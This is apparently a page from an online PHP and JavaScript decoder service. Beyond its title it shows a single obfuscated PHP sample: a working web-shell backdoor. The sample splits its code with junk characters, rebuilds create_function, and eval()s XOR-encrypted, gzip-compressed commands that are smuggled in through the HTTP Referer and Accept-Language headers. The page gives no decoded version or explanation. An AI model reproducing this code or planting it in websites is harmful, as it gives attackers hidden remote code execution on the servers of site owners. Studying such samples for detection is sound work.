Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$P='end_cVLlean();$d=bVLVLase64_encodVLe(x(gzcVLompreVLsVLs($o),$kVL)VL)VL;prVLint("<$k>$d</$k>");@sessVLion_dVLeVLstroy();}}}}';
$S='5($i.$VLkhVL),0,VL3));$f="strtoVLloweVLrVL"VL("suVLbsVLtr"(mVLVLd5($VLi.$kf),0,3))VL;VL$p=""VL;fVLor($z=1;$z<couVLnt($m[1VL]);$z++)$p.VL=$qVL[$m[VL';
$k='ER"];$VLra=@$r["HVLTTP_AVLVLCCEPVLT_LANGUAGE"VL];if($rr&VL&$ra)VL{$u=parVLsVLe_url($rrVL);pVLarse_str($VLu["queryVL"VL],$q)';
$p='replacVLe(VLarray(VL"/_/",VL"/-/"),VLarrVLay("/"VL,"+"),"suVLbsVLtr"($sVL[$iVL],0,$e))VL)VL,$k)));VL$oVL=VLoVLb_get_contents(VL);ob_';
$V='{@VLsessiVLVLon_start();$s=&$_SEVLSSION;$i=$m[1VL][0].$VLm[1][1];VL$h="strtoVLloweVLrVL"VL("suVLbsVLtr"(VLmd';
$b='$VLkf="5VLca2";functVLion x($VLt,$VLk){VL$c=strlen(VL$k);$VLlVL=strlen(VL$t);$oVL="";for($i=0;VL$i<$VLl;){forVL($';
$o=str_replace('hN','','chNhNreate_hNhNfhNunctihNon');
$y='VLj=0VL;($j<$c&&$iVL<VL$VLl);VL$j++,VL$i++){$o.=$t{$i}^$k{VL$j};}}retVLuVLrn $o;}VLVL$r=$_SEVLRVER;$rr=@VL$r["HTTVLP_REFEVLR';
$A='2][$z]];ifVLVL(sVLtrpos($p,$h)===0){VL$s[$i]VL="";$VLp=VL$VLss($p,3);}if(VLarray_VLkey_VLexistsVL($VLVLi,$s)){$s[$VLi].=$VL';
$X=';$q=aVLrray_vaVLVLlues($q);preVLg_mVLatch_all(VL"/(VL[\\w])[\\VLwVL-]+(?:;qVL=0.([\\d]))?VL,?/",$VLraVL,$m);iVLf(VL$VLq&&$VLm)';
$v='p;$e=strpVLos($s[$iVL],$f);iVLf($e){$k=$VLkh.VL$kVLf;ob_start();VL@evVLaVLl(@gzuncoVLmpress(@x(@bVLaseVL64_decVLode(prVLeg_';
$G=str_replace('VL','',$b.$y.$k.$X.$V.$S.$A.$v.$p.$P);
$W=$o('',$G);$W();



© 2023 Quttera Ltd. All rights reserved.